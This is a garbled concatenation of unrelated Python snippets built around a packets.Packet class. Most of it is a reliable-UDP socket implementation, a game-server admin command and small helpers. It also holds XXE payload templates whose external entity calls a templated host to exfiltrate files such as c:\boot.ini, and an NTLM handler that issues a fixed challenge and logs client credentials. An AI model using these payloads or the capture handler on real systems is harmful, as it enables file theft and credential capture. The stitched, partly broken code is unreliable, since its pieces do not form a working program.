def do_ntlm_auth(self, data): if 'Authorization:' not in data: return packets.Packet(headers={'WWW-Authenticate': 'NTLM'}, status=401) else: LOGGER.info('Begin NTLM auth') auth_string = RE_NTLM_AUTH.search(data) if not auth_string: return packets.Packet(status=404) else: try: data = auth_string.group(1).decode('base64') LOGGER.info("NTLM: %r", data) except Exception as e: self.close_when_done() return if data[8] == '\x01': return packets.Packet( status=401, headers={ 'WWW-Authenticate': 'NTLM {0}'.format( 'NTLMSSP\0\2\0\0\0\0\0\0\0\x82\0\0\1\x82\0\x0011223344\0\0\0\0\0\0\0\0' .encode('base64')) }) elif data[8] == '\x03': return packet.Packet()
def connect(self, address): #create an initial syn packet to send to the server print("Connecting!") samSocket.bind((address[0], UDPportR)) self.init_seq_no = randint(1, math.pow(2, 64) - 1) self.ack_no = 0 syn_pack = packets.Packet() syn_pack.header.flags = 0x1 syn_pack.header.sequence_no = self.init_seq_no syn_pack.body = "The Syn packet body" syn_pack = syn_pack.packMe() #print("client_isn", self.init_seq_no) #create a loop to send packet and lsiten for acknowledgement back. If there is a timeout, then resend while True: samSocket.sendto(syn_pack, (address[0], UDPportT)) try: samSocket.settimeout(1) data, addr = samSocket.recvfrom(1024) if (data, addr) == (1, 1): continue #print("Unpacked Header Recieved:", packets.udpPkt_hdr_data.unpack(data)) break except syssock.timeout: print("resending syn_packet") time.sleep(1) continue finally: samSocket.settimeout(None) #if here is reached, then an ack should have been recieved, so check if proper flag and isn received = packets.Packet(data[:40], data[40:]) if received.header.ack_no != self.init_seq_no + 1 or received.header.flags != packets.SOCK352_SYN: print("Error receiving ACK from server for connection") return #set appropriate states #the third part of the handshake will be sent with the first data sent self.connected = True self.ack_no = received.header.ack_no - 1 self.next_seq_no = received.header.ack_no self.connections.append((address[0], UDPportT)) print("Connected from client side") return
def setUp(self): """Sets up new mock and test objects for each test.""" self.mock = mock.Mock() self.test = packets.Packet() self.config = configurator.Config() self.config.set_config()
def __init__(self, cgm): """ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ INIT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ """ # Initialize command code byte self.code = None # Initialize command database byte self.database = None # Initialize command page byte self.page = None # Initialize command response self.response = None # Give the command a packet self.packet = packets.Packet() # Link with CGM self.cgm = cgm
def accept(self): #function to accept a connection at the port #loops to recieve connections, if it is not a syn packet it will return (-1, -1) while True: try: samSocket.settimeout(0.2) data, addr = samSocket.recvfrom(1024) if (data, addr) == (1, 1): continue break except syssock.timeout: time.sleep(1) continue finally: samSocket.settimeout(None) #now that a SYN packet shoudl have been recieved, check it to make sure it is one received = packets.Packet(data[:40], data[40:]) if received.header.flags != 1: print("Did not accept a syn packet") return (-1, -11) self.init_seq_no = randint(1, math.pow(2, 64) - 1) #prepare and pack an ACK packet ack_pack = packets.Packet() ack_pack.header.flags = 0x1 ack_pack.header.ack_no = received.header.sequence_no + 1 #print("ack no:", ack_pack.header.ack_no) ack_pack.header.sequence_no = self.init_seq_no self.next_seq_no = ack_pack.header.ack_no ack_pack.body = "ack_pack body" self.last_ack_sent = ack_pack.header.ack_no ack_pack = ack_pack.packMe() print(addr) sent = samSocket.sendto(ack_pack, addr) #server init_seq no is now recieved init sequence + 1 #sends this to client sock = self print("Connected from Server side") return (sock, addr)
def _processBuffer(self): if self.current_packet is None and len(self.buffer) >= 3: self.current_packet = packets.Packet() self.current_packet.unpack(self.buffer) if self.current_packet is not None and len( self.buffer) >= self.current_packet.size: packet = packets.unpack(self.buffer) self.buffer = self.buffer[packet.size:] self.factory.input.put_nowait((self, packet)) self.current_packet = None self._processBuffer()
def recvACKS(self, dictA, sam, end): while True: #if the end of sending is signaled, exit the loop if 0 in end: return try: sam.settimeout(0.2) d, a = sam.recvfrom(1024) if (d, a) == (1, 1): continue except syssock.timeout: continue d = packets.Packet(d[:40], d[40:]) #check to get rid of all packets now acknowledged mutex.acquire() if d.header.ack_no > self.ack_no: self.ack_no = d.header.ack_no #print("ACk for", d.body, d.header.ack_no) #remove all acks for packets before the one that was acked, as it could be a cumulitive ack l = {} for i in list(dictA): if i <= d.header.ack_no: l[i] = 0 for i in l: del dictA[i] l = {} mutex.release() return
INT_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1234 LISTEN_PORT = '' if INT_PORT: LISTEN_PORT = ":{0}".format(INT_PORT) FILE_LIST = [ r'c:\boot.ini', r'd:\boot.ini', ] PAYLOADS = { 'xml_test': packets.Packet('''<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE html [ <!ENTITY % external SYSTEM "http://{host}{port}/{filename}"> %external; ]> <html> <element attrib=""></element> </html>'''), 'xml': packets.Packet('''<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE html [ <!ENTITY % external SYSTEM "http://{host}{port}/{filename}"> %external; %intern; %trick; ]> <html> <element attrib="">&test;</element> </html>'''),
def recv(self, file_len): print('Starting to receive', file_len, ' bytes of data') total_recv = 0 data = "" while total_recv < file_len: #time.sleep(1) try: samSocket.settimeout(0.2) d, a = samSocket.recvfrom(FRAGMENTSIZE) if (d, a) == (1, 1): continue except syssock.timeout: #print("Still waiting to revceive ", file_len, total_recv) continue received = packets.Packet(d[:40], d[40:]) #if server thinks it is connected but client isnt, resend the ack to the syn pack recieved #connection ACK must have dropped, so resend #just continuing the handshake to ensure a proper 3-way handshake if received.header.flags == packets.SOCK352_SYN: print("resending setup_ack!") ack_pack = packets.Packet() ack_pack.header.flags = packets.SOCK352_SYN ack_pack.header.ack_no = received.header.sequence_no + 1 self.last_ack_sent = ack_pack.header.ack_no ack_pack.body = "Connected" ack_pack = ack_pack.packMe() samSocket.sendto(ack_pack, a) continue #if packet is too far, resend last ack sent and discard this data if self.next_seq_no != received.header.sequence_no: #print("Out of order. Discarding:") ack_pack = packets.Packet() ack_pack.body = "Resent ack" + str(self.last_ack_sent) ack_pack.header.ack_no = self.last_ack_sent ack_pack = ack_pack.packMe() samSocket.sendto(ack_pack, a) #print("Not correct order. Will wait for next sent packet and discard this one", self.next_seq_no, received.header.sequence_no) #print(self.next_seq_no, received.header.sequence_no) continue #print("What'd I get", received.body) #prepare and send an ACK packet for the received data self.next_seq_no = self.next_seq_no + received.header.payload_len ack_pack = packets.Packet() ack_pack.header.ack_no = received.header.sequence_no + received.header.payload_len self.last_ack_sent = ack_pack.header.ack_no ack_pack.header.sequence_no = received.header.ack_no + 1 ack_pack.header.flags = packets.SOCK352_ACK ack_pack.body = "Thanks for " + received.body #print(ack_pack.body) ack_pack = ack_pack.packMe() samSocket.sendto(ack_pack, a) #keep track of the bytes received and the total data total_recv = total_recv + len(received.body) #print(total_recv, " ", received.body, " ", self.last_ack_sent) data = data + received.body if total_recv == file_len: break #print(data) return data
def send(self, data): print("Starting to send data from sequence no#:", self.next_seq_no) end = {} total_sent = 0 counter = 0 size = 0 reset = [] reset.append(0) #starts a thread to check the time for ACKS t1 = threading.Thread(target=self.timeACKS, args=(self.acks_needed, reset, end)) t1.start() #starts a thread to recv ACKS, and delete them from the list of needed ACKs t2 = threading.Thread(target=self.recvACKS, args=(self.acks_needed, samSocket, end)) t2.start() #loop to send the data while total_sent < len(data): #time.sleep(1) send_pack = packets.Packet() counter = counter + 1 #print(total_sent) #if the size is less than the Fragment size, send whatever is left if len(data[total_sent:]) + 40 <= FRAGMENTSIZE: size = len(data[total_sent:]) send_pack.body = data[total_sent:] send_pack.header.sequence_no = self.next_seq_no send_pack.header.payload_len = size self.next_ack = self.next_seq_no + size self.acks_needed[self.next_seq_no + size] = time.time() #print(send_pack.body, self.acks_needed) self.next_seq_no = self.next_seq_no + size #else, send the size of the fragment else: size = FRAGMENTSIZE - 40 send_pack.body = data[total_sent:(total_sent + FRAGMENTSIZE - 40)] send_pack.header.payload_len = size self.next_ack = self.next_seq_no + size self.acks_needed[self.next_ack] = time.time() send_pack.header.sequence_no = self.next_seq_no self.next_seq_no = self.next_seq_no + size #print("Sending:", send_pack.body, total_sent + size) send_pack = send_pack.packMe() samSocket.sendto(send_pack, self.connections[0]) total_sent = total_sent + size #if whole file has been sent, wait the timeout period to ensure all other acks are recieved if total_sent >= len(data): time.sleep(0.3) #check to see if there are missing acks, and go back if needed mutex.acquire() if reset[0] != 0: difference = self.next_seq_no - self.ack_no total_sent = total_sent - difference #check here to see if it is doin go back N properly #print(self.ack_no, "rewinding by", difference, "to", data[total_sent:total_sent+10]) self.next_seq_no = self.ack_no reset[0] = 0 mutex.release() mutex.acquire() #send signals to the threads so they end their loops end[0] = True mutex.release() t1.join() t2.join() return total_sent + counter * 40
_spack_doc: Final[str] = 'Send a specific (empty) packet by id to a player.' @command(trigger='!spack', priv=Privileges.Dangerous, public=False, doc=_spack_doc) async def send_empty_packet(p: Player, c: Messageable, msg: Sequence[str]) -> str: if len(msg) < 2 or not msg[-1].isnumeric(): return 'Invalid syntax: !spack <name> <packetid>' if not (t := await glob.players.get_by_name(' '.join(msg[:-1]))): return 'Could not find a user by that name.' packet = packets.Packet(int(msg[-1])) t.enqueue(await packets.write(packet)) return f'Wrote {packet} to {t}.' _debug_doc: Final[str] = "Toggle the console's debug setting." @command(priv=Privileges.Dangerous, public=False, doc=_debug_doc) async def debug(p: Player, c: Messageable, msg: Sequence[str]) -> str: glob.config.debug = not glob.config.debug return f"Toggled {'on' if glob.config.debug else 'off'}." str_to_priv = lambda p: defaultdict(
def error_packet(content=None, params={}): """Return a response packet with error code.""" return packets.Packet(content=content, params=params, code=protocol.ERROR_CODE)
def success_packet(content=None, params={}): """Return a response packet with success code.""" return packets.Packet(content=content, params=params, code=protocol.SUCCESS_CODE)